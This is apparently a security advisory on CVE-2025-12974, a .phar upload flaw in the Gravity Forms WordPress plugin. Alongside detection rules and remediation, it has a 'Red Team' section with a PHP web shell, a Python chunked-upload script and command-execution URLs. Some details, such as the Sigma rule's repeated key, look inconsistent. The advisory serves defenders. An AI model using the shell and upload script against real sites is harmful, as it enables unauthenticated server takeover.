CVE-2025-12974

Executive Summary

CVE-2025-12974 is a critical unauthenticated arbitrary file upload vulnerability in the Gravity Forms WordPress plugin (versions up to and including 2.9.21.1). The flaw resides in the legacy chunked upload mechanism, which fails to properly validate file extensions. Specifically, the extension blacklist does not include .phar files, allowing attackers to upload malicious PHP archive files. If the web server is configured to process .phar files as PHP (via file handler mapping or similar), an unauthenticated attacker can achieve remote code execution (RCE) on the server.

This vulnerability is particularly dangerous because it requires no authentication and can be exploited by simply sending crafted multipart upload requests. The EPSS score is currently 0.0%, indicating low exploitation activity at the time of analysis, but the public availability of proof-of-concept code and the widespread use of Gravity Forms elevate the risk.

WordPress Ecosystem Impact

As a WordPress plugin, Gravity Forms is deployed on millions of sites. The vulnerability allows unauthenticated attackers to upload arbitrary files, bypassing the intended file type restrictions. This is a classic case of insufficient input validation in a file upload handler, leading to potential full site compromise.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The combination of unauthenticated access, low complexity, and high impact makes this a prime target for automated exploitation.

Deep Dive & Mechanics

The vulnerability exists in the legacy chunked upload mechanism of Gravity Forms. This mechanism is designed to handle large file uploads by splitting them into smaller chunks. The flaw is in the file extension validation logic: the blacklist used to reject dangerous extensions (like .php, .phtml, .php5) does not include .phar files.

A .phar (PHP Archive) file is a packaged PHP application that can be executed directly by the PHP interpreter if the server is configured to handle .phar files. By uploading a malicious .phar file, an attacker can execute arbitrary PHP code on the server.

The attack flow:

1. The attacker sends a series of HTTP requests to the chunked upload endpoint (typically /wp-admin/admin-ajax.php with action gf_legacy_chunked_upload).
2. Each request contains a chunk of the malicious .phar file.
3. The server reassembles the chunks into a complete .phar file in the uploads directory.
4. The attacker then accesses the uploaded file via its URL, triggering PHP execution.

The vulnerability is exacerbated by the fact that the upload path is predictable (e.g., /wp-content/uploads/gravity_forms/), making enumeration trivial.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.9.21.1): The file type validation in the chunked upload handler uses a blacklist approach but omits .phar:

// Simplified vulnerable logic
$blacklist = array('php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'pht', 'shtml', 'cgi');
$extension = pathinfo($filename, PATHINFO_EXTENSION);
if (in_array(strtolower($extension), $blacklist)) {
    // reject
}
// .phar is not in the blacklist, so it passes

Patched Code (Hypothetical): A proper fix would either:

• Add .phar to the blacklist.
• Use a whitelist approach (only allow safe extensions like jpg, png, pdf).
• Validate file content (MIME type) in addition to extension.

// Patched logic
$blacklist = array('php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'pht', 'shtml', 'cgi', 'phar', 'phar.php');
$extension = pathinfo($filename, PATHINFO_EXTENSION);
if (in_array(strtolower($extension), $blacklist)) {
    // reject
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Gravity Forms <= 2.9.21.1.
• The server must have .phar file handler mapping (e.g., AddType application/x-httpd-php .phar in Apache or application/x-httpd-php .phar in Nginx).

Exploitation Steps:

1. Craft a malicious .phar file: Create a file shell.phar containing a PHP web shell:

   <?php
   system($_GET['cmd']);
   ?>
   

2. Upload via chunked mechanism: Use a script to split the file and send chunks:

   import requests
   import os
   
   url = "http://target.com/wp-admin/admin-ajax.php"
   file_path = "shell.phar"
   chunk_size = 1024
   
   with open(file_path, "rb") as f:
       chunk_index = 0
       while True:
           chunk = f.read(chunk_size)
           if not chunk:
               break
           files = {
               'action': (None, 'gf_legacy_chunked_upload'),
               'chunk': (None, str(chunk_index)),
               'chunks': (None, str(os.path.getsize(file_path) // chunk_size + 1)),
               'name': (None, 'shell.phar'),
               'file': ('shell.phar', chunk, 'application/octet-stream')
           }
           r = requests.post(url, files=files)
           chunk_index += 1
   

3. Access the uploaded file: The file will be stored in the uploads directory, e.g.: http://target.com/wp-content/uploads/gravity_forms/1-shell.phar

4. Execute commands: http://target.com/wp-content/uploads/gravity_forms/1-shell.phar?cmd=id

Blue Team (Detection & Response)

Detection:

• Monitor for unusual file uploads with .phar extension.
• Look for chunked upload requests to admin-ajax.php with action gf_legacy_chunked_upload.
• Check for files in the uploads directory with .phar extension.

Response:

• Immediately block .phar file uploads at the web server level (e.g., via .htaccess or Nginx config).
• Remove any .phar files found in the uploads directory.
• Apply the vendor patch once available.
• Review server logs for signs of exploitation.

Indicators of Compromise (IOCs)

• File Artifacts:

  • Files with .phar extension in /wp-content/uploads/gravity_forms/
  • Files named *.phar in any WordPress upload directory

• Network Indicators:

  • HTTP POST requests to /wp-admin/admin-ajax.php with action=gf_legacy_chunked_upload
  • Multiple requests with chunk and chunks parameters
  • Requests containing name=*.phar in the multipart form data

• Log Entries:

  • Access logs showing GET requests to .phar files in uploads directory
  • Error logs indicating PHP execution of .phar files

Detection Engineering

YARA Rule

rule CVE_2025_12974_Gravity_Forms_Phar_Upload {
    meta:
        description = "Detects .phar file uploads via Gravity Forms chunked upload"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12974"
        hash = "unknown"
    strings:
        $phar_magic = { 50 48 41 52 } // "PHAR" magic bytes
        $chunked_action = "gf_legacy_chunked_upload"
        $phar_ext = ".phar"
    condition:
        $phar_magic at 0 and ($chunked_action or $phar_ext)
}

Sigma Rule

title: CVE-2025-12974 Gravity Forms .phar File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to upload .phar files via Gravity Forms chunked upload mechanism
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-12974
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=gf_legacy_chunked_upload'
        cs-uri-query|contains: '.phar'
    condition: selection
falsepositives:
    - Legitimate .phar file uploads (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-12974 Gravity Forms .phar Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"gf_legacy_chunked_upload"; http_client_body; content:".phar"; within:100; reference:cve,2025-12974; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the legacy chunked upload mechanism if not required.
2. Add .phar to the file extension blacklist via a custom plugin or filter.
3. Configure the web server to not execute .phar files:
   • Apache: Remove AddType application/x-httpd-php .phar or add RemoveHandler .phar.
   • Nginx: Ensure no application/x-httpd-php handler for .phar.
4. Restrict upload directory permissions to prevent execution (e.g., remove execute permission from uploads folder).

Long-term Fix:

• Apply the official patch from Gravity Forms once released.
• Implement a whitelist-based file upload validation.
• Use a Web Application Firewall (WAF) to block .phar uploads.

Monitoring:

• Enable logging for all file uploads.
• Set up alerts for .phar file creation in web-accessible directories.

Valters IT